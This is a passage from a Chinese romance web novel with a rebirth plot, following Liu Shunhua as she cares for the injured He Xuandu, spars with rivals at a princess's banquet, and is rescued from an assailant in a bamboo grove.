“蓁蓁,你听,只要它还跳着,我就不会放弃自己。”他将她的手放在心口,“这里,更舍不得你。” 柳舜华的手紧紧贴在他的心口,感受着他的跳动。 一瞬间,仿若看到风云流转,四季轮回,春草黄了又青,枯荷败了又开,她在瞬息之间迷离而纷乱。 许久,贺玄度才缓缓放开她的手,轻声道:“蓁蓁,我饿了。” 柳舜华问:“你想吃什么,我给你端过来。” 贺玄度想了想,“豆腐汤吧,爽口。” 柳舜华忙起身,“你先等着,我马上就来。” 着急忙慌地下了楼,周松就守在楼下,听贺玄度说要喝豆腐汤,忙让人去准备。 汤一做好,柳舜华忙端着上楼,她怕汤撒,每一步都走得很轻。 走到门口,方欲推门,便听到里面传来绝望的叹息声,她透过门缝朝内望去。 贺玄度正双手撑着身体,试图要坐起,可双腿却传来的钻心疼痛。他手臂一软,重重摔下。 如是试了几次,他终于不再挣扎,带着满眼的不甘,痛苦地闭上双眼。 夜色沉沉,黄河水拍打着波涛,沉稳有力。 贺玄度如被拍在岸上搁浅的鱼,窒息的痛苦险些要将他撕裂,整个人陷入无尽的黑暗与绝望之中。 柳舜华心中划过一丝痛楚。 贺玄度,他终究是在意的。 她整理好思绪,眨了眨微红的双眼,抬手敲了敲门,走了进来。 贺玄度看她进来,笑道:“你好慢,我都饿扁了。” 柳舜华将汤放下,扶着他坐了起来。 他的手尚有几分无力,柳舜华想要喂他,却被他拒绝了。 贺玄度接过汤碗,举起勺子,艰难地,一点一点喝进口中。 柳舜华一直沉默着,直到他喝完,将碗递给她。 她接过碗,看着碗底一点残汤映着他们朦胧的影子。 “贺玄度,你怕吗?” 贺玄度浑身一怔,缓缓道:“若我真的再也站不起来,你……” 他垂下头去,不敢问,不敢想。 柳舜华轻轻将碗放在一边,把他的身体转过来,看着他的眼睛,“贺玄度,若是你从此再也站不起来,就让我,做你的腿吧。” 第57章 第57章她的贺玄度,这两辈子,…… 回到房间,柳舜华翻来覆去睡不着。 房间有些闷,她索性推开了窗。 月光下,流淌千年的黄河水奔流不息,她坐在窗边,静静地看着几处渔火在河面飘飘摇摇,不觉沉沉睡去。 这夜,她又梦到了前世。 嫁入相府的第二年,她被迫搬到了西竹院。 起初贺玄晖每每不顺心时,还会过来嘲讽她两句,可等到贺玄度回来后,他便再没出现过。 那年除夕,老夫人已经过世,她不肯再与他们一家人做样子,干脆与芳草、妙灵她们躲在屋里清静。 熊熊炭火上置了个铁架,上面放着些橘子,她们就着火说说笑笑,倒也自在。 炭火燃尽,一地橘皮,芳草、妙灵她们熬不住,早早歇下。 她想起家人,怎么也睡不着,干脆披了衣服出门,坐在门前的石阶上,抬头看着外面的烟火。 坐了许久,有些无聊,她起身,眼光一瞥,透过不太严密的门缝,隐隐看到一团黑影。 柳舜华以为又是前来顺手牵羊的小厮,操起一根木棍,推门便挥了出去。 木棍被人拦在半空,贺玄度坐在轮椅上,狐裘被风吹起,羽毛一样飘在空中,他淡然一笑,“嫂嫂这是要做什么?” 柳舜华大囧。 得知她要在烟花,他道:“这里能看到什么,不如我带嫂嫂找个好去处。” 贺玄度让洪声找来梯子,搭在院墙上扶稳。 他就这么用手支撑,一步步地爬上了院墙。 这本是极狼狈的动作,可贺玄度做起来却坦坦荡荡,落在柳舜华眼里,只觉他像是破土的竹子,一点点努力成长,最终伸向云霄。 贺玄度坐在墙上,低头问:“嫂嫂能自己上来吗?” 柳舜华上了墙,一阵风吹来,险些站不住。 贺玄度的手在她腰间虚扶,轻声道:“嫂嫂,小心。” 他明明神色平和,声音也淡淡 的,却又像是要灼烧着什么,在冬夜里发烫。 柳舜华不敢去看他,将目光投向远方。 那是她第一次站这么高去俯瞰看整座长安城。 夜色如水,明月高悬。城中街巷纵横交错,万家灯火繁星般洒落人间,点点光亮闪烁摇曳,整座长安城宛似一幅繁华画卷,美得如梦似幻。 贺玄度指着一处,“那边,便是你家的方向。” 柳舜华顺着他手指的方向望去,无数星光之下,灯火闪烁,她并不知哪个才是家中那盏,心内却有一股暖流涌过。 风吹过,无数盏明灯冉冉升起,飘荡在空中,悠悠流向天际。 贺玄度望着那些天灯,缓缓道:“你看,这世间繁华万千,最后不过一盏灯而已。所以,没有什么是不能做的。” 柳舜华转头,怔愣地看着他。 她从未听过这样的话。 贺玄度朝她一笑,“柳舜华,你想不想,飞过这高墙?” …… 梦醒来,枕间一片冰凉。 前世,是贺玄度重新给了她一双眼,以身残之躯,带着她走得更远,看了更远的风景。 重生归来,她满怀期待,去寻她梦中那道月光,却碰到纨绔张扬的贺玄度。 初见他的那一瞬,她的确,失望了。 她不明白,究竟是哪里出了问题,让昔日清冷淡漠的他,成了如今这副模样。 可眼下,他断了腿,柳舜华突然就懂了,为何两世的贺玄度会如此不同。 一个鲜衣怒马的少年,在最飞扬的年纪断了腿。他或许再无法像从前一样,广袤天地间尽情挥洒热血,肆意张扬地生活。换做是谁,都未必能坦然接受。 上辈子见到他时,他方断腿大半年。她不知道这大半年,贺玄度究竟是如何熬过的。 梦中往事,让她恍然又记起,上辈子,相府总是对他断腿之事三缄其口。 如今,她总算是明白了。 贺玄度是为贺玄晖担下了这个不可逆转的伤痛,应该坐在轮椅上的,是他贺玄晖。 怪不得贺玄晖从不去后院,他不仅是躲她,更是在躲贺玄度。 她突然觉得很可笑,贺玄度为贺玄晖挡了巨石,反成了贺玄晖的污点。所以,贺玄度理所当然地沦为丞相府不可说的禁忌。 她的贺玄度,这两辈子,都太苦了。 贺玄度昨夜睡得不安稳,起初他还在想着他的腿,可后来实在太疼了,疼得他什么都想不了。 晨间周松上去送肉粥的时候,他已经醒来多时,就直愣愣地躺着。 周松将肉粥端过去,“醒了,快吃点东西。” 贺玄度接过,木然喝了几口,“蓁蓁呢?” 周松知道他问柳舜华,便道:“柳小姐昨夜忙坏了,这会还没醒呢。” 贺玄度点头,想了好久,问:“郑列如何了,昨日昏沉着,好像听你们说到他。” 提到郑列,周松咬牙道:“死不足惜的东西。据说此前已被折磨得不行,经过昨日那一遭,疯了。” 贺玄度凝眉道:“他不能疯,不然我这条腿不是白断了。” 周松听到他说“断腿”这两个字,喉间一哽。 贺玄度又道:“范神医那边有替他看过吗,怎么说?” 周松道:“看过了,说是受了刺激,需要慢慢恢复。” 贺玄度摇头,“我同他打过交道,他是什么样的人,我再清楚不过,怎么可能受了这点刺激便疯了。” 周松想了想,也觉得有些不对,“可是他装疯,又有什么用呢?到了长安,一样会被判处死刑。” 贺玄度抬头看着窗外,“为了让千机阁的人相信,一个疯子,是不会乱说话的。” 周松有些不理解,还是问:“公子要我如何做?” 贺玄度凑到他耳边,细细交待了一番。 周松点头,“我这就去找都尉,一定把这事办好,你就放心吧。” 交待完,贺玄度又叫住周松,“你去告诉蓁蓁,就说,我昨夜没休息好,已经睡下了,让她好生歇息一会。” 周松愣了一下,点头走下楼。 柳舜华从周松口中得知,贺玄度已经歇下,隐隐有些失落。 她干脆同柳棠华一起下了楼,昨日侍卫中也有不少人受伤,她便随着范神医一起帮着医治。 忙了一早上,总算将伤员全部处理好,她正要上楼歇息,碰到贺玄晖迎面走来。 贺玄晖上前寒暄,“有劳柳小姐了。” 柳舜华冷声道:“客气,贺大公子若无事,烦请让一下。” 贺玄晖沉默片刻,并未让开,“明日我便要回长安了,不知柳小姐是否要与我同行?” 柳舜华扫了他一眼,“不劳贺大公子操心,我自有打算。” 贺玄晖心口隐隐作痛,依旧笑着点头,“好,舍弟那边有劳柳小姐了。” 柳舜华漠然越过他,上了楼。 日落之时,贺玄度终于醒了过来。 余晖透过窗子洒进屋内,整个房间染上一层暖黄。柳舜华趴在桌上,露出半张睡颜。有风拂过,她额前的碎发被风吹动,像只展翅欲飞的蝴蝶,围绕在她身边,宛如一幅绝美的画卷。 一切都是如此静谧而美好。 贺玄度痴痴地看着,不知过了多久,手臂麻得厉害,稍一动身,疼得轻哼出来。 柳舜华梦中听到一声轻呼,直愣愣地坐了起来,快步到床前,“怎么了,是不是疼得厉害?” 贺玄度见她双眼通红,也不知是未休息好,还是又哭过,心中止不住一阵刺痛,摇头道:“没事。” 柳舜华微微一笑,转身到桌边将药箱打开,拿出药膏,“既然醒了,正好,换药吧。” 贺玄度一愣,“范神医呢?” 柳舜华:“他来时走得匆忙,药膏不够,午间便回去取药了,约摸要一个时辰后才能回来。” 贺玄度盖住腿,“既如此,不如等范神医回来再换吧。” 柳舜华抬头,“你不信我?” 贺玄度忙道:“不是,只是……实在不济,你让周松来换吧。” 柳舜华一笑,“往日里,你不都嫌弃周松笨手笨脚的,这会倒想起他来了。” 贺玄度没有笑,只是垂下头,“太丑了,蓁蓁,你会怕的。” 柳舜华鼻尖一酸,伸手将他盖在腿上的薄绸拿开。 贺玄度受伤的双腿就这么出现在柳舜华眼前。 尽管已经做好了心理准备,看到贺玄度双腿的那刻,柳舜华还是忍不住红了眼。双腿肿胀,骨头碴子穿透皮肉,白生生地露在外面,药膏涂满半条腿,黑黢黢一片。 贺玄度下意识想要遮挡,却发现根本动不了身。 柳舜华忍住痛楚,将夹板取下,小心翼翼地擦拭掉药膏,重新涂抹。 冰凉的药膏抹在腿上,贺玄度惊觉,灼烧感消减不少。 他静静地看着她处理好伤势,重新将夹板固定。 柳舜华抬头,看着他,“你看,我能处理好。贺玄度,没什么大不了的。” 贺玄度没有说话,而是看着她的手。 她的手在抖。 他脑中不断闪现叛贼攻打都尉府那一夜,她奋力拿起手中拿着刀,手也是这般抖。 他道:“蓁蓁,其实,你也很怕吧?” 柳舜华怔愣片刻,缓缓道:“对,我很怕,贺玄度。” 她坐到他身边,看着他的眼睛,“可是,我不是怕你从此再也站不起来。我是怕,你会放弃你自己。我怕的是,一个会放弃自己的贺玄度,我永远也看不懂,走不进他心里的贺玄度。” 贺玄度再也忍不住,一把将她拉进怀里。 一瞬间,他有千言万语想说,他想给她承诺,想给她安心,可话到嘴边,却只有一句:蓁蓁,别怕。” 第58章 第58章初见刘妉柔 贺玄度断腿的第六日,范神医这边终于传来好消息。 说是贺玄度的腿因处理妥当,救治及时,恢复得很不错,有接骨之法或可一试。 柳舜华听到这个消息,喜极而泣。 向来威严的万都尉,一时忍不住,捂脸落下泪来。 范神医道:“你们也先别高兴得太早,我说的接骨方法,到底没用过,至于最后能不能站起来,还要看他的造化。” 万都尉当即拍板,让他放手去治,无论多贵重稀有的药材,只要这世上有,上天入地,一定想办法拿到。 接骨之事,容不得耽搁,万都尉决定,还是将贺玄度接回凉州城治疗。 一来,若回长安,路途遥远,来回颠簸,对腿伤恢复不利。二来,想到丞相府的态度,他实在放心不下。 柳舜华这边,已经耽搁了六日,也不得不返回长安。 出发这日,骄阳依旧似火,古槐上蝉鸣不止。 柳舜华思绪纷乱,仰起头,望向二楼那扇敞开的轩窗。 贺玄度趴在窗边,双手紧紧扣住窗棂,只能露出 半个头,默默地看着柳舜华。 柳舜华闷得喘不过气,紧紧握住手中的帕子,心一狠,转头朝马车走去。 贺玄度透过稀疏的枝叶,看着马车缓缓驶出客栈,一颗心沉沉坠落。 柳舜华要离开他了! 突然,马车窗帘被掀开,柳舜华探出头来,使出全身力气,对着二楼喊道:“贺玄度,我等你回来!” 曲栏外,河水悠悠,南风裹着她的不舍入耳。 贺玄度浑身一滞,对着柳舜华的方向,伸出了手。 “蓁蓁,等我!” …… 马车停在柳府门口,柳舜华与柳棠华一下车,便见父亲、兄长,姨娘都等在门口。 柳奉急急走过去,一人拉住一只手,“蓁蓁,芊芊,你们没事吧?” 当日贺玄度断腿后,柳舜华便提前差人送信回去,说是路上有事耽搁,要晚些时日回去。 柳舜华摇头,“没事,让爹爹操心了。” 柳桓安跟在身后道:“你们前脚让人送信回来说有事耽搁,后脚便听闻,丞相府的二公子在回长安的路上被砸断了腿。爹爹以为你们也出了什么事,急得一夜都未得好眠。” 柳舜华一愕,贺玄度被砸断腿这事,上辈子并未有多少人知晓,怎么如今听着,倒像是人尽皆知了呢。 她道:“贺二公子之事,你们也听说了?” “据说是回程途中,山上突降落石,正巧砸在他身上。这个二公子,也真是太倒霉了些。” 说完又道:“爹爹知道你们同日回程,担忧得不行,我去贺大公子那里问了情况,得知你们都安然无恙,爹爹这才稍稍安心。” 柳舜华觉得奇怪,既然贺玄度断腿之事传得沸沸扬扬,为何受伤原因却无人说起。 孙姨娘在旁提醒道:“虽说是黄昏,但热气尚在,还是快些让她们进屋歇歇吧。” 一群人这才拥着她们进了屋。 柳舜华心里想着事,总有些漫不经心,好在柳棠华分外兴奋,将在凉州的见闻挑拣有趣的一一说给父亲听,逗得父亲哈哈大笑。 等回到屋内,天色已晚。 柳舜华累得瘫在床上,望着床帐上垂下来的穗子发呆。 风吹着红彤彤的穗子晃晃悠悠,贺玄度一袭红衣的样子也跟着在她脑海里晃荡。 分开已有四五日,也不知贺玄度的腿怎么样了。 柳舜华越想越不放心,爬起来走到桌前,默默拿起了笔。 地上很快堆满废纸,一连写了十余封,写写划划,依旧不满意。 她心烦意乱,推开窗。 月色下,墙外杏树枝繁叶茂,树影密密落在庭院。 风吹树影游移,昔日杏花树下一幕走马灯般浮现,她不觉一笑,提起笔,落在纸上只有寥寥数语: 已归家,勿念。院中杏子正肥,盼与君共品。 …… 翌日,父亲与兄长一下了朝,便将她叫至书房。 柳桓安打开一包糕点递过去,“芳草说你今日起得晚,这会还没吃呢吧,先垫垫肚子。” 柳舜华知晓,父兄如此急切叫她过来,必是为了她与贺玄晖议亲之事。 她坐下,捏了一块糕点,慢悠悠地问:“父亲一大早叫我过来,是有什么急事吗?” 柳奉正襟危坐,“蓁蓁你有所不知,那日你随你兄长去到丞相府,丞相夫人遥遥一见,夸你举止端庄得体,相府欲与咱们结亲。” 柳舜华将糕点放下,她原本想着,待回了长安,若父兄提及与相府结亲一事,她便顺水推舟,讲明与贺玄度之事。父兄一向开明,尤其兄长,前世便反对她与贺玄晖成婚,只要她软磨硬泡,再加上外祖亲自作保,总能说动他们。 至于相府那边,自有老夫人在。贺丞相此人,虽过分看重所谓的门面,却极重孝道。若是祖老夫人坚持,贺丞相定不好忤逆。老夫人疼惜贺玄度,又那么喜欢她,没有理由会反对。 可如今,贺玄度断了腿,前路未知,她只能先解决掉贺玄晖之事,以绝后患。 柳桓安见她不语,坐到她跟前,“蓁蓁,你是如何想的?” 柳舜华想了想,“我有一事不明,当日宴席,世家贵女大多在场,怎么丞相夫人就单单看中了我?” 柳奉并未当回事,“我们蓁蓁相貌出众,被看上也不是什么稀罕事吧。” 柳舜华默默闭眼,她这个父亲,一向将她看得堪比神女仙子,盲目认为她足以匹配世间任何男子,是以上辈子她闹着要嫁给贺玄晖的时候,他并未像兄长一样出面阻拦,反而推波助澜。 她只得转向柳桓安,“兄长,我听闻,你近日又高升了。看来,皇上对你颇为看重。” 柳桓安听懂她的意思,笑道:“蓁蓁此前便有长进,去了一趟凉州回来,人更通透了。” 柳奉还在犹豫,“我知晓,如今我儿步步高升,相府有意想要拉拢。可贺大公子的人品相貌,放眼整个长安城,哪个能比得上?若是错过了,实在是可惜。” “父亲可知,此前我去赴宴,无意间听到了什么?”柳舜华拍了拍手上糕点残渣,起身道:“相府大公子早已与平阳王府郡主两情相悦。” 柳奉一愣,拍着桌子道:“真是岂有此理,这不是将我们当猴耍。我们蓁蓁要嫁,那自然是要嫁一个将她捧在手心里的人。” 柳桓安眉头一皱,随即道:“父亲,相府高门大族,蓁蓁这个性子,实在不适合,不如,就此作罢吧。” 柳奉想了想,“毕竟是丞相府,不好轻易开罪,还是要寻个合适的理由回绝才好。” 柳桓安点头,“如今相府二公子之事传得沸沸扬扬,此刻绝不是相府结亲的好时机,我会趁着这个机会,妥善处理好。” 没几日,柳桓安去了趟相府。回来便告知家中,相府老夫人听闻贺二公子受伤,日夜忧虑,病倒了。贺丞相忙得焦头烂额,与柳府结亲之事也就搁置了下来。 回长安已一月有余,柳舜华隔几日便寄信给到贺玄度。 起初,贺玄度回复还算及时,后面则是越来越慢。 她看着院中的黄杏一点点凋零,想是等不到贺玄度回来一起品尝,便将剩余的果实挑拣些饱满的一同摘下,趁着日光尚好,制成了果脯。 菊花黄,丹桂香,转眼间已是八月。 柳舜华坐在廊下,默默看着南飞的大雁。 她写给贺玄度的信,依旧没回复。 她开始有些担心,不知贺玄度双腿是否有了好转? 担忧贺玄度的同时,柳舜华突然想到一件大事:睿帝已所剩时日无多。 上辈子,睿帝是突发疾病而亡的。所以,此刻朝堂上下依旧是一片安乐祥和。 月中,柳桓安送来一张帖子,大长公主寿宴,邀柳家女眷过府赏菊贺寿。 大长公主做寿,到场皆是名门贵女,也就是说,贺容暄也一定会去。 柳舜华实在不想再见她,可如今兄长隆恩正盛,她若不去,倒显得有几分托大,只得应了下来。 寿宴当日,柳棠华晚间着了凉,一直烧着,柳舜华只得独自随兄长一起前去。 大长公主府邸在皇城西边,距柳府实在有些远,柳舜华与兄长尽管已提前出发,到的时候,还是晚了些。 宫人引着他们入了府,快到内院的时候,又换了人分别带着去了宴席。 自柳桓安升迁以来,柳舜华跟着兄长前去两场宴席,举止得当,应付自如。柳桓安对她颇为放心,何况这里是公主府,也并未过多交代,只让她宴席结束等 他一起回府。 柳舜华随同宫人进了女眷席,找了位置坐下。 她本不想太显眼,今日妆容素净,衣饰也极简单,可越是如此,越有一种天然无雕饰之美。才一落座,便引得周围的贵女们纷纷回头。 柳舜华这两辈子鲜少有机会同那些贵女们认真交际,只觉得有几个瞧着眼熟,于是大大方方地向她们点头示意。 她坐下仔细打量一圈,并未瞧见贺容暄,想是此刻在陪着长公主,一时松了下来。 长公主还未出来,贵女们闲着无聊,便随便攀谈起来。 柳舜华与她们不熟,只在旁安静地听着。 她身旁活泼一点的小姐正眉飞色舞,“今日寿宴,可有得比了。” 在座之人似乎都心知肚明,立即有人附和笑着,“那两位一同出席,可不是要铆足了劲的打扮,非要争一个高低出来。” 那小姑娘捂住嘴,“可不是,待会咱们可得悠着点,夸人的时候看着点,别把另一个给得罪了。” 柳舜华反应了好一会,才明白过来。 整个长安城中,能让这些贵女们忌惮的,无非就两位:相府大小姐贺容暄,平阳王府郡主刘妉柔。 照理说,刘妉柔与贺玄晖之事贺容暄不会不知,怎么听着,她们二人更像是死对头呢。 正想着,便见众人纷纷起身,对着远处道:“妉柔郡主好!” 上一世,柳舜华甚少出府,长安城中宴会鲜少参加,以至到死都未见过刘妉柔一面。 她曾无数次想过,刘妉柔到底是何模样。 如今乍闻这个名字,她止不住浑身一僵,木木地转过身,朝远处望了过去。 一群女子正笑着朝她们这边走来,中间那女子与她差不多年纪,一身翠兰锦袍,身姿袅娜。月眉星眼,肤如凝脂,云鬓冉冉,头插一支垂珠金步摇,明珠熠熠。举手投足间仪态端庄,不同于贺容暄的张扬明艳,她自有一股浑然天成的贵气。 柳舜华盯着她,怔愣许久。 这便是平阳王府的郡主,刘妉柔。 刘妉柔美目一抬,缓缓扫了一圈,最后越过众人落在柳舜华身上。 她款款走过去,停在柳舜华面前,“你便是柳家的大小姐,柳舜华?” 第59章 第59章贺玄度,你就是条疯狗…… 柳舜华迎上刘妉柔的目光,“正是。” 近月来,相府欲与柳家结亲之事传得沸沸扬扬,如今刘妉柔对上这柳大小姐,可不就是:情敌见面,分外眼红。 一时间,在场的小姐们人人自危,生怕刘妉柔做出什么逾矩之事,无故受到牵连,默默离柳舜华更远些。 刘妉柔只是看着柳舜华,微微一笑,“你可真好看。” 在场众人:…… 她声音柔柔的,带着几分由衷地赞叹。柳舜华听得出,刘妉柔对她,似乎并无恶意。 但刘妉柔身边之人可不这么想。 一位身穿绿裙的小姐斜眼打量着柳舜华,轻嗤一声,“这满座的谁能跟郡主比,星辰妄想比明月,自取其辱罢了。” 刘妉柔歪头看了那位小姐一眼,还未说话,便被几声笑声给打断了。 “今日是大长公主的寿宴,竟还有人在这里大放厥词,若说今日这明月,只能是大长公主。” 这声音柳舜华无比熟悉,回头一望,果是贺容暄。 她今日身着艳红牡丹曳地裙,衣摆上牡丹花枝金线日光下耀眼夺目,头戴珠翠,自是明艳动人,眼神一如既往的骄矜。 “我当时是谁呢,原来是妉柔郡主。”贺容暄摇曳着走了过来。 刘妉柔瞥了她一眼,“贺二小姐。” 跟在贺容暄身后的李舒君见形势不太对,忙朝两人笑道:“郡主,二小姐,姐妹们都还站着呢,不如坐下来说话。” 贺容暄虽跋扈了些,对李舒君却极温和,听了她的话,这才道:“妉柔郡主,请吧。” 柳舜华看到她们都落了座,也跟着要坐下。 “起开,这里哪是你能坐的?”刘妉柔身旁的绿衣小姐不屑地将柳舜华挤到一边。 看来,刘妉柔这是将她当假想敌了。柳舜华想着,也不与她计较,靠着她坐了下来。 这一落座,柳舜华才发觉有些不妙。 怎么对面坐的那些,都如此眼熟。又见她们围着贺容暄奉承,瞬间反应过来。原来,对面大多是同贺容暄亲近之人,那她坐的这里,岂不都是同刘妉柔亲近之人?怪不得方才那绿衣小姐让她起来。 明白过来这层意思,柳舜华简直如坐针毡。 她正胡思乱想着,突然听到贺容暄开口笑道:“真不愧是大长公主的府邸,自有皇气护佑。这满园细枝青润,繁蕊碎金,又恰逢大长公主寿辰,可真是应了延寿客这一雅称。” 柳舜华眉头一皱,贺丞相爱菊,总以菊自比品性高洁。相府每年秋日都会举办赏菊宴,贺容暄耳濡目染,对菊花品类颇通,这是要开始卖弄了。 李舒君知其心意,附和道:“正是,大长公主爱菊,这园子里千姿百态的菊花,有些我竟是见都未见过。” 贺容暄微仰着头,指着满庭的菊花道:“这边几个是胜金黄,金芍药,黄鹤翎;那边则是,玉宝相、一团雪,玉玲珑;这几盆紫色的最有趣,叫赛西施、紫褒姒。[1]” 众人叹道:“贺小姐真是博闻强识,我们平日里只瞧着好看,不知还有这些个名目呢。” 说完,又有人问:“这两盆是什么,方才贺小姐是不是漏掉了?” 贺容暄微微一叹,“说起这两盆,我就有些犯愁,正想让姐妹们帮我出出主意呢。” 立即有人打趣道:“贺小姐也不知其名,那我们就更不知了。” 贺容暄笑道:“这倒不是,是我家中近来恰巧也有人送了这两盆。我呢,就想选一盆给兄长,可又怎么瞧着都不太合适,这才一时犯了难。” 那小姐道:“原来如此,只是不知这两盆都叫什么?” 贺容暄秀眉一扬,指着一盆道:“你瞧,它花展向四周,卷瓣向上,被人说是凤凰展翅,便叫它凤凰羽。” 有人道:“听着倒是个好名字。” 贺容暄捂嘴一笑,“哪里就好了,我最不喜的就是它这名。区区一盆菊花,被人费尽心机娇养着待价,便认不清自己究竟是谁了,还妄想飞上枝头变凤凰,你们说,好不好笑?” 正在跟着笑的李舒君脸色一僵,抬眼朝柳舜华望去。有不少人品出其中意味,也纷纷投出打量的目光。 柳舜华心底一声冷笑,她就说,贺容暄怎么会放过奚落她的机会。 刘妉柔也似是听出了什么,轻哼一声,继续与其他人说笑。 有人不开眼,继续问道:“那这一盆呢?” 贺容暄接着道:“这盆啊,其瓣面重黄,而背重红,相依相偎,形似鸳鸯,唤作鸳鸯锦。” 那人也不知是装傻还是刻意顺着她,问道:“这盆瞧着挺好的,贺小姐为何觉得不妥?” 贺容暄扫过刘妉柔,轻蔑一笑,“想比翼双飞似鸳鸯,那也要看这黄土啊,是不是适合她。这鸳鸯锦张扬过了头,怕是情深不寿呢。” 刘妉柔冷笑一声,“贺二小姐懂得倒是多,不知有没有听过一句话,多言多败。无用之话说得多,是要断舌头的。” 贺容暄不紧不慢道:“我不过随着姐妹们的兴致,品论菊花而已,郡主如此气急败坏,倒真让人不解。” 刘妉柔抬眼看着她,嘴角带着一抹讽刺,毫不客气道:“爱菊之人才配赏菊,不说焚香沐浴,起码也要保持身心洁净吧。你言语尖刻,浊气熏天,还配说品菊,你配吗?” 贺容暄气道,“刘妉柔,你不要太嚣张。我……” “你们看,有蝴蝶。”李舒君担心她们继续闹下去会惊动大长公主,忙转移视线。 她这一叫,众人的视线果真移了过去,看着那只硕大的彩蝶围着菊花来回飞舞。 贺容暄被刘妉柔当面驳斥,到底有些气不过,瞧着眼前的蝴蝶,挑眉道:“你们看,这两盆花自以为是,没承想如今蝴蝶都不愿亲近,弃之如敝屣。” “扑哧”一声,柳舜华终于忍不住笑了起来。 贺容暄大怒,“你笑什么?” “贺小姐常年居于深闺,怕是没去过乡野。不知这世间,花有花的习性。有的蝴蝶来,它们求之不得;有的,它们避之不及。 柳舜华慢条斯理地一笑,“从头到尾,主动做出抉择,拒绝蝴蝶的,都是花啊。” 她脸上挂着笑,神情恭敬,言语柔和,没有半点不妥。 贺容暄气结,偏又挑不出半点毛病,只指着她,说不出半句话。 好在大长公主携各府夫人及时到场,一场闹剧才就此落幕。 有大长公主在,一场宴席下来,倒也相安无事。 午宴后,大长公主与各府夫人们相互寒暄。柳舜华怕独坐着有些格格不入,便随着各府小姐们在旁赏花。 方起身,便被人撞了一下。 那小姐瞧着脸生,只是瞥了她一眼,垂头便走,连声道歉也没有。 柳舜华也不甚留意,理了理衣衫,跟在众人身后。 才走了片刻,一宫女走到她身边,笑问:“是柳家大小姐吗?” 柳舜华一愣,点点头。 那宫女道:“柳大人说有急事要寻你。” 柳舜华不解,怎么兄长这会寻她。不过兄长做事一向谨慎,想必是有什么要紧之事。 她朝着大长公主那边望了一眼,见她依旧在与众夫人谈笑风生,“既要离开,是否要向大长公主示意。” 那宫女道:“不必,柳大人说,只有一句话要紧的话同你讲。” 柳舜华点头,跟着她一起出了园子。 看着柳舜华出了园子,刘妉柔身旁的绿裙小姐神情得意,缓缓将她拉至一边。 待到清静处,刘妉柔问:“你鬼鬼祟祟地做什么?” 绿裙小姐笑道:“今日,我要替你出一口恶气,保管你会谢我。” 刘妉柔:“替我出恶气,不如你现下就去将贺容暄毒打一顿,她那张嘴,最让人厌。” 绿裙小姐尴尬一笑,“比起这个,还是那个柳小姐更碍眼吧?不然你方才为何一进来,便去寻她。” 刘妉柔脸色一变,拉着她急道:“你做了什么?” 绿裙小姐看她一脸紧张,这才道:“方才我让人偷拿了她的帕子,又把帕子交给了程嘉良,告诉他,柳大小姐约他前面竹林相见。” 程嘉良,相府夫人的侄子,长安出了名的登徒子。 刘妉柔一把甩开她,怒道:“你害死我了!” 绿裙小姐丝毫没觉出任何不妥,拉着她道:“我没有想过要害她,我只是想,待会咱们便借口去竹林附近,只要撞见他们私下相约,那她即便解释清楚了,与贺大公子的婚事也会受影响,到时你……” 刘妉柔怒喝道:“住口!我原以为你只是蠢点,没想到你心肠竟如此狠毒。你知不知道那程嘉良是什么人,快,快带我去。” 绿裙小姐被她一吼,早吓得魂不附体,忙朝着竹林走去。 柳舜华跟在那宫女身后,越走越偏,渐渐觉出不妥。 走过水廊,几乎不见了人影。 小宫女还在前面走着,看起来并没有什么问题,何况这是长公主府,应当没有人会在这里寻衅滋事吧。 柳舜华不觉放慢了脚步,还是问道:“我兄长在何处?” “就在前面,马上到。”小宫女笑着回头,“柳公子他们在翠微园,绕过这片紫竹林便是了。” 竹叶密得几乎不透光,一股压抑的气息四周弥漫着,柳舜华突地顿住了脚步。 “我累了,走不动了,你去告诉兄长,让他过来寻我。” 说罢,柳舜华便想往后走。 才走两步,并未听到小宫女回话,她觉得不对,猛地回过头。 方才还在前面带路的小宫女不见了。 柳舜华倏忽惊出一身冷汗,拔腿便想往回跑。 竹林中,一直油腻的大手突然伸出,攥住她的手腕,“小美人,总算等到你了。” 柳舜华转过头一看,竟然是他,程嘉良。 她用脚踢打他,“你放开我,这里是大长公主府,你竟敢如此肆意妄为。” 程嘉良眉头一皱,从怀中掏出帕子甩在柳舜华脸上,“不是你让小爷我过来的,这会倒装上了。我都听说了,你一回长安,便让你兄长去相府退了亲。放眼整个长安,能比得上贺玄晖的,便只有我。你看不上他,便只能是我了。” 柳舜华只觉得恶心,大声嚷道:“我没有,你放开我。我兄长是侍御史,如今皇恩正隆,若你再敢动粗,不怕我兄长在圣上面前参你一本。” 程嘉良犹觉得她在装矜持,拉着她便往竹林深处走,“你若害羞,咱们到里面去。” 柳舜华方想大声呼救,程嘉良已捂住她的嘴,将她拼命往里拽。 她被挟制,巨大的体力差距,根本使不上半分力,脑中拼命想着如何才能脱困。双手在身上胡乱摸着,终于翻到一个布袋。 柳舜华大喜,布袋内装的,正是回长安途中,贺玄度送她的石灰粉。 自凉州归来,她处处留了个心眼,每次出门都带着防身。方才一时情急,险些忘了。 柳舜华双手颤抖着,慢慢打开布袋。 可程嘉良在她身后,若是撒了出去,只怕自己也难免遭殃。 她心一狠,缓缓将布袋举起。 “放开她!”清冷的声音穿过竹林,传到柳舜华耳边。 程嘉良闻声,挟着柳舜华转过身来。 水榭旁,一池清荷半零落。 贺玄度一袭白衣,坐在轮椅之上,水波粼粼映着他翩飞的衣摆,更衬得眉目清冷。 风从竹林掠过,隔着两世的光阴,柳舜华有些恍惚,喃喃开口:“贺玄度?” 程嘉良反应了好一阵,突然放声大笑,“我当是谁,原来是你这个废物。” 贺玄度眸中一片漠然,连一个多余的表情都懒得做,缓缓举起手中的箭,“我再说一次,放开她。” 程嘉良不以为然,“就凭你,以往你就不是我的……” “唰”的一声,长箭破空,一支箭穿过程嘉良的肩膀,将他牢牢钉在身后的竹子上。 “啊!啊!”程嘉良杀猪般的惨叫响彻竹林。 他看着贺玄度,双目猩红,“贺玄度……你就是条疯狗。” 第60章 第60章她蹲下身,伸手去摸他的…… 贺玄度无视他的怒骂,抬手收回弓箭,眸中的冰凉却丝毫未减,像是冬日远山上终年难融的雪白,让人不寒而栗。 本应在凉州养伤的贺玄度,此刻却突然现身。 柳舜华怔愣地望着他,恍若在梦里。 身后程嘉良的嚎叫,溅在脸上温热的鲜血,这一刻都骤然停滞。 她像是被抛入云端,然后又不停坠落。 天地倒置,她看到时光不停在倒退,倒退,退回最初相府相遇的那片荷塘。 这是贺玄度,淡漠,清冷,不染纤尘。 可为何,她却又觉得如此陌生。 这感觉,像极了她重生归来,第一次在相府门口见到他时的场景。 